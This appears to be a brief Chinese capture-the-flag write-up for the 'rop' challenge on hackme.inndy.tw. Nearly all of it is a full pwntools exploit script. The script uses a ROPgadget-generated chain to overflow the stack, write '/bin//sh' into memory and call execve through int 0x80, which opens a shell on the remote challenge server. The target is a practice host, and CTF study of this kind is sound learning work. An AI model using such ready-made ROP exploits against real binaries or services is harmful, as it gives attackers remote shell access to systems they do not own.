ROP

很明显的栈溢出，想了半天没有头绪，然后发现可以用ROPgadget –binary rop –ropchain 直接生成rop链(简直太舒服了，静态链接的elf貌似都可以这么做)

exp(前两行换了顺序就会报错，坑了我好久）：

from pwn import *
from struct import pack

#io = process('./rop')
io = remote('hackme.inndy.tw',7704)

# Padding goes here
p = 'a'*0xc + 'aaaa'

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80

io.sendline(p)

io.interactive()